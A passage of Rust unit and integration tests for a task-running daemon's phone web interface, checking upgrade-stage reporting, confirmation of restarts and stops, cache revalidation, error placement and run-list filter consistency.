8657        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8658
8659        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8660        progress.parked_run = Some("20260905-000000-cd51".to_owned());
8661        progress.advance(crate::updater::Stage::Parking);
8662        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8663
8664        let health = fx.get("/api/health").await.json();
8665        assert_eq!(health["upgrade"]["stage"], "parking");
8666        assert_eq!(health["upgrade"]["from"], "0.5.1");
8667        assert_eq!(health["upgrade"]["to"], "0.5.2");
8668        let waiting_on = health["upgrade"]["waiting_on"]
8669            .as_str()
8670            .expect("waiting_on is set while parking a known run");
8671        assert!(waiting_on.contains("cd51"), "{waiting_on}");
8672        assert!(waiting_on.contains("implementing"), "{waiting_on}");
8673    }
8674
8675    #[tokio::test]
8676    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8677        let fx = Fixture::start().await;
8678        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8679        progress.advance(crate::updater::Stage::Done);
8680        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8681
8682        let health = fx.get("/api/health").await.json();
8683        assert_eq!(health["upgrade"]["stage"], "done");
8684        assert!(
8685            health["upgrade"]["waiting_on"].is_null(),
8686            "nothing to wait on once it is done"
8687        );
8688    }
8689
8690    #[tokio::test]
8691    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8692        let home = TempDir::new().expect("temp home");
8693        let runs = home.path().join("runs");
8694        std::fs::create_dir_all(&runs).expect("runs dir");
8695        let ui = Ui::new(
8696            Queue::at(home.path().join("queue")),
8697            Questions::at(home.path().join("questions")),
8698            Talks::at(home.path().join("talks")),
8699            runs,
8700            home.path().to_path_buf(),
8701            PathBuf::from("/repo/magi"),
8702        )
8703        .with_launch(launch_idle);
8704        let looping = ui.looping();
8705        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8706            .await
8707            .expect("bind loopback");
8708        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8709
8710        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8711        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8712
8713        hand_over(home.path(), &looping, served, || Ok(()))
8714            .await
8715            .expect("hand over");
8716
8717        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8718        assert_eq!(
8719            after.stage,
8720            crate::updater::Stage::Restarting,
8721            "hand_over owns the record through parking and up to restarting; \
8722             the successor is what finishes it"
8723        );
8724    }
8725
8726    #[test]
8727    fn the_upgrade_button_arms_before_it_restarts_anything() {
8728        // It ends the process the operator is talking to, and a phone in a
8729        // pocket taps things. One tap arms, the second commits.
8730        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8731        assert!(APP_JS.contains("Replace the binary and restart?"));
8732        assert!(APP_JS.contains("function confirmed("));
8733        // Hidden when the loop is somebody else's, matching the 409 above -
8734        // and hidden with nothing to install, matching the 200 "already
8735        // current" branch: an operator on the newest build must not be
8736        // offered a restart that would only park a run for nothing.
8737        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8738        // A park waits for the node in flight, up to an hour for an implement
8739        // wave. Leaving the button reading "Upgrading…" for that long is the
8740        // same mistake as an error rendered off screen: it looks wedged.
8741        assert!(
8742            APP_JS.contains("Parking, then restarting"),
8743            "the button says what it is waiting for"
8744        );
8745        // And nothing to install must give the button back rather than
8746        // pretending a restart is coming.
8747        assert!(APP_JS.contains("if (!out.to)"));
8748    }
8749
8750    #[test]
8751    fn stopping_the_loop_arms_but_starting_does_not() {
8752        // A stray tap must not leave the queue stopped overnight, so a stop is
8753        // two taps through the same helper the upgrade uses; a start stays one.
8754        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
8755        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
8756        assert!(APP_JS.contains("confirmed(button, question)"));
8757        // The label put back on timeout is the one saved when arming, not a
8758        // hard-coded upgrade caption that would rename the stop button.
8759        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
8760        assert!(APP_JS.contains("const label = btn.textContent;"));
8761        assert!(!APP_JS.contains("Neither direction is guarded"));
8762    }
8763
8764    #[test]
8765    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8766        assert!(
8767            APP_JS.contains("state.health.version"),
8768            "the operator wants to know what is running even with nothing newer"
8769        );
8770        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8771    }
8772
8773    #[test]
8774    fn the_upgrade_button_names_its_destination() {
8775        assert!(
8776            APP_JS.contains("`Update to ${update.to}`"),
8777            "pressing the button should not be a surprise about what it moves to"
8778        );
8779    }
8780
8781    #[test]
8782    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8783        for stage in ["downloading", "replaced", "parking", "restarting"] {
8784            assert!(
8785                APP_JS.contains(&format!("\"{stage}\"")),
8786                "the phone must be able to tell {stage} apart from the others"
8787            );
8788        }
8789        assert!(APP_JS.contains(".waiting_on"));
8790        // What replaced the bare "Cannot reach magi: Failed to fetch": a
8791        // fetch failing while an upgrade is in flight is not an error, it is
8792        // the sub-second gap `bind_waiting` covers, and it must not be
8793        // reported as one.
8794        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8795        assert!(APP_JS.contains("reconnects on its own"));
8796    }
8797
8798    #[test]
8799    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8800        // `Stage::Failed` is terminal on the server and nothing clears it on
8801        // its own - not a fresh start, not time passing - so a full-strip
8802        // takeover for it (the way the busy stages take the strip over,
8803        // correctly, because those are transient) would have hidden
8804        // start/stop/park behind an upgrade notice with no way back short of
8805        // a person editing `upgrade.json` by hand or a later release
8806        // happening to succeed. The failure must instead ride along as a note
8807        // next to whatever control the loop's own state already offers.
8808        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8809            ..APP_JS.find("function upgrade(").expect("upgrade")];
8810        assert!(
8811            !body.contains(
8812                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
8813            ),
8814            "a failed upgrade must not take the whole strip over the way it used to"
8815        );
8816        assert!(
8817            body.contains("upgradeFailNote"),
8818            "the failure has to reach the loop's own note instead"
8819        );
8820        // `quiet` and `control` are the only two places `loop-why` is set from
8821        // this function's own state; both must carry the note through, or a
8822        // future edit to either one would silently drop it again.
8823        assert_eq!(
8824            body.matches("upgradeFailNote].filter(Boolean).join")
8825                .count(),
8826            2,
8827            "both loop-why writers (quiet and control) must fold the note in"
8828        );
8829    }
8830
8831    #[test]
8832    fn an_overdue_upgrade_eventually_asks_for_a_human() {
8833        // The ceiling has to clear a full hour-long park with room to spare,
8834        // or an ordinary implement wave would be reported as a stuck upgrade.
8835        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8836        assert!(APP_JS.contains("function upgradeOverdue("));
8837    }
8838
8839    #[test]
8840    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8841        assert!(
8842            APP_JS.contains("Updated to ${upgradeInfo.to"),
8843            "the operator who asked for the restart wants to know it worked"
8844        );
8845    }
8846
8847    #[test]
8848    fn an_error_is_visible_from_where_the_button_is() {
8849        // The alert used to sit in the flow under the header. On a phone
8850        // scrolled 13 500 px down to a run's action sheet that is off screen,
8851        // so tapping Resume and being told "the loop is running run b455
8852        // right now" looked exactly like a button that did nothing.
8853        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8854            ..APP_CSS.find(".alert-text").expect(".alert-text")];
8855        assert!(
8856            alert.contains("position: fixed"),
8857            "an error about the thing under your thumb has to be visible from \
8858             where your thumb is: {alert}"
8859        );
8860        assert!(
8861            alert.contains("z-index: 25"),
8862            "above the dock (20) and the run-actions FAB (15), so neither \
8863             buries it: {alert}"
8864        );
8865        assert!(
8866            alert.contains("var(--tap)"),
8867            "and clear of the dock and the home indicator: {alert}"
8868        );
8869        // The FAB sits at the same height on the right. An error that covered
8870        // it would hide the button the operator reaches for next.
8871        assert!(
8872            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8873            "the FAB's column stays free: {alert}"
8874        );
8875    }
8876
8877    #[tokio::test]
8878    async fn an_older_attempt_says_what_replaced_it() {
8879        let fx = Fixture::start().await;
8880        let q = fx.queue();
8881        let runs = fx.runs();
8882        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8883        write_run(&runs, first, RunStatus::Stalled);
8884        write_run(&runs, second, RunStatus::Blocked);
8885
8886        let mut t = Task::new(
8887            "one task".to_owned(),
8888            "do it".to_owned(),
8889            PathBuf::from("/repo"),
8890            Source::Human,
8891        );
8892        t.runs = vec![first.to_owned(), second.to_owned()];
8893        q.put(&mut t).expect("put");
8894
8895        // Two cards with the same title and no hint which is which was the
8896        // question: "why are there two of the same, one stalled and one
8897        // blocked?" The older one now names its replacement.
8898        let rows = fx.get("/api/runs").await.json();
8899        let by = |short: &str| -> Value {
8900            rows.as_array()
8901                .unwrap()
8902                .iter()
8903                .find(|r| r["short"] == short)
8904                .cloned()
8905                .unwrap_or(Value::Null)
8906        };
8907        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8908        assert!(
8909            by("bbbb")["superseded_by"].is_null(),
8910            "the latest attempt is not superseded by anything"
8911        );
8912        // Front end: the note has to be rendered, not just carried.
8913        assert!(APP_JS.contains("run.superseded_by"));
8914        assert!(APP_JS.contains("Superseded by"));
8915    }
8916
8917    #[tokio::test]
8918    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8919        let fx = Fixture::start().await;
8920        // No cache header at all meant browsers invented their own policy,
8921        // and one did: a phone went on showing "Candidates must be folded
8922        // before deleting. Run `magi fold` first." - deleted two releases
8923        // earlier - from a deck that no longer contained the sentence. The
8924        // button it named was right there, and unreachable.
8925        let js = fx.get("/app.js").await;
8926        assert_eq!(js.status, 200);
8927        let tag = js
8928            .header("etag")
8929            .expect("an etag to revalidate against")
8930            .to_owned();
8931        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8932        assert_eq!(
8933            js.header("cache-control"),
8934            Some("no-cache, must-revalidate"),
8935            "the phone has to ask every time"
8936        );
8937
8938        // And the asking has to be cheap, or `must-revalidate` just means
8939        // "send the whole interface on every load".
8940        let again = fx
8941            .get_with("/app.js", &[("if-none-match", tag.as_str())])
8942            .await;
8943        assert_eq!(
8944            again.status, 304,
8945            "a deck it already has costs one round trip"
8946        );
8947        assert!(again.body.is_empty(), "304 carries no body");
8948
8949        // A weakened tag from a proxy still matches; a different build does
8950        // not, which is the case that has to deliver the new interface.
8951        let weak = fx
8952            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8953            .await;
8954        assert_eq!(weak.status, 304);
8955        let stale = fx
8956            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8957            .await;
8958        assert_eq!(stale.status, 200, "an older build must be replaced");
8959        assert!(stale.body.contains("renderRunActions"));
8960    }
8961
8962    #[test]
8963    fn the_deck_never_sends_the_operator_to_a_terminal() {
8964        // The whole point of the phone UI is that a terminal is not needed.
8965        // The delete control used to answer with "Run `magi fold` first."
8966        assert!(
8967            !APP_JS.contains("Run `magi fold` first"),
8968            "the deck must offer the fold, not prescribe a shell command"
8969        );
8970        assert!(APP_JS.contains("foldRun:"));
8971        assert!(APP_JS.contains("resumeRun:"));
8972        assert!(APP_JS.contains("renderRunActions"));
8973
8974        // Folding is destructive and armed in two steps, like deleting.
8975        assert!(APP_JS.contains("armedFold"));
8976        assert!(APP_JS.contains("Yes, fold worktrees"));
8977
8978        // And the copy has to say that the two actions are opposites, because
8979        // folding throws away exactly what a resume would continue from.
8980        assert!(APP_JS.contains("can no longer be resumed"));
8981    }
8982
8983    #[test]
8984    fn a_finished_run_explains_itself_with_its_own_last_line() {
8985        // The deck used to answer "why did this stop?" with a sentence chosen
8986        // by status alone. Run e633 stalled because two judges answered with
8987        // the wrong JSON shape and its card said "The panel collapsed on
8988        // agent quota" - with `quota: []` in the record and a quota-loss
8989        // counter right above it that correctly said nothing.
8990        assert!(
8991            !APP_JS.contains("collapsed on agent quota"),
8992            "a stall must not be explained by a cause the deck did not check"
8993        );
8994        assert!(
8995            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8996            "and a block must not offer a guess with an `or` in it"
8997        );
8998
8999        // The reason it does have is `run.event`, which must reach finished
9000        // runs: gating it on movement hid the recorded truth at the one moment
9001        // the operator is reading the card to find out what happened.
9002        assert!(
9003            APP_JS.contains("setText(r.event, run.event || \"\")"),
9004            "the run's last line is rendered unconditionally"
9005        );
9006        assert!(
9007            !APP_JS.contains("moving && run.event"),
9008            "and never gated on the run still moving"
9009        );
9010
9011        // Quota keeps its own counter, fed by the number actually recorded.
9012        assert!(APP_JS.contains("lost to quota"));
9013    }
9014
9015    /// The runs tree (section) and the state chips (waiting/done) are two
9016    /// independent lenses ANDed together in `renderRuns`, and some pairings
9017    /// can never both be true for any run - every "Landed"/"Ended" run is
9018    /// done by construction, so pairing either with "Active" or "In flight"
9019    /// always rendered zero cards with the filter bar still claiming
9020    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
9021    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
9022    /// a handful of (waiting, status) shapes standing in for the run
9023    /// lifecycle, because `cargo test` cannot execute the front end.
9024    ///
9025    /// That stand-in list is itself the part that drifted twice in review:
9026    /// once shipped with `waiting: true` paired with a done status the
9027    /// lifecycle cannot produce, then over-corrected into treating every
9028    /// waiting run as never done - which made "Waiting on you" look
9029    /// incompatible with "Done" even for the one real, reachable shape
9030    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
9031    /// that combination. This test parses the shapes and the done-rule back
9032    /// out of `APP_JS`, reimplements `runSection` and the five state
9033    /// predicates independently in Rust, and checks the resulting
9034    /// section/filter compatibility table against the lifecycle rules by
9035    /// hand - so either direction of drift fails it again.
9036    #[test]
9037    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
9038        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
9039        let shapes_body_start =
9040            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
9041        let shapes_close = APP_JS[shapes_body_start..]
9042            .find("].map(")
9043            .expect("the shape list is closed by its done-computing .map(...)")
9044            + shapes_body_start;
9045        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
9046
9047        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
9048        for entry in shapes_src.split('{').skip(1) {
9049            let waiting = entry.contains("waiting: true");
9050            let dead = entry.contains("live: \"dead\"");
9051            let status_at =
9052                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
9053            let status_end = entry[status_at..]
9054                .find('"')
9055                .expect("the status string is closed")
9056                + status_at;
9057            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
9058        }
9059        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
9060
9061        // The done rule itself (`!["implementing"].includes(shape.status)`),
9062        // read out of the source rather than hardcoded, so a renamed
9063        // in-flight status can't silently make every parsed shape "done".
9064        let done_rule_marker = "done: !";
9065        let done_rule_at = APP_JS[shapes_close..]
9066            .find(done_rule_marker)
9067            .expect("the done rule follows the shape list")
9068            + shapes_close
9069            + done_rule_marker.len();
9070        let includes_at = APP_JS[done_rule_at..]
9071            .find(".includes(shape.status)")
9072            .expect("the done rule ends in .includes(shape.status)")
9073            + done_rule_at;
9074        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
9075            .trim()
9076            .trim_start_matches('[')
9077            .trim_end_matches(']')
9078            .split(',')
9079            .map(|s| s.trim().trim_matches('"'))
9080            .filter(|s| !s.is_empty())
9081            .collect();
9082
9083        let shapes: Vec<(bool, String, bool, bool)> = shapes
9084            .into_iter()
9085            .map(|(waiting, status, dead)| {
9086                let done = !not_done.contains(&status.as_str());
9087                (waiting, status, dead, done)
9088            })
9089            .collect();
9090
9091        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
9092        // outright, then merged/ready land, stalled/blocked/failed/
9093        // verified_noop end, and everything else is still in flight.
9094        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
9095            if waiting {
9096                return "waiting";
9097            }
9098            if dead
9099                && !matches!(
9100                    status,
9101                    "merged" | "ready" | "stalled" | "blocked" | "failed" | "verified_noop"
9102                )
9103            {
9104                return "stale";
9105            }
9106            match status {
9107                "merged" | "ready" => "landed",
9108                "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
9109                _ => "flight",
9110            }
9111        }
9112
9113        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
9114        // way.
9115        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
9116            match filter_key {
9117                "active" => !done,
9118                "flight" => !done && !waiting && !dead,
9119                "stale" => !done && !waiting && dead,
9120                "waiting" => waiting,
9121                "done" => done,
9122                "all" => true,
9123                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
9124            }
9125        }
9126
9127        let compatible = |section: &str, filter_key: &str| {
9128            shapes.iter().any(|(waiting, status, dead, done)| {
9129                run_section(*waiting, status, *dead) == section
9130                    && filter_matches(filter_key, *waiting, *dead, *done)
9131            })
9132        };
9133
9134        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
9135        // (active, flight, stale, waiting, done, all) - hand-derived from the
9136        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
9137        // currently contains.
9138        let expected = [
9139            ("waiting", [true, false, false, true, true, true]),
9140            ("stale", [true, false, true, false, false, true]),
9141            ("flight", [true, true, false, false, false, true]),
9142            ("landed", [false, false, false, false, true, true]),
9143            ("ended", [false, false, false, false, true, true]),
9144        ];
9145        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
9146
9147        for (section, wants) in expected {
9148            for (filter_key, want) in filter_keys.iter().zip(wants) {
9149                assert_eq!(
9150                    compatible(section, filter_key),
9151                    want,
9152                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
9153                );
9154            }
9155        }
9156
9157        // The compatibility check exists only to be acted on: both pickers
9158        // must actually consult it rather than just render its answer.
9159        assert!(
9160            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
9161        );
9162        assert!(APP_JS.contains(
9163            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
9164        ));
9165        assert!(APP_JS.contains(
9166            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
9167        ));
9168    }
9169
9170    #[tokio::test]
9171    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
9172        // An operator-named directory - git checkout or not - is never
9173        // second-guessed, even when it does not exist at all: only the
9174        // flag's own unmodified `.` default is ever eligible for discovery.
9175        let dir = tempfile::tempdir().expect("tempdir");
9176        let explicit = dir.path().join("not-a-checkout");
9177        std::fs::create_dir_all(&explicit).expect("create dir");
9178        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
9179
9180        let missing = dir.path().join("does-not-exist-at-all");
9181        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
9182    }
9183}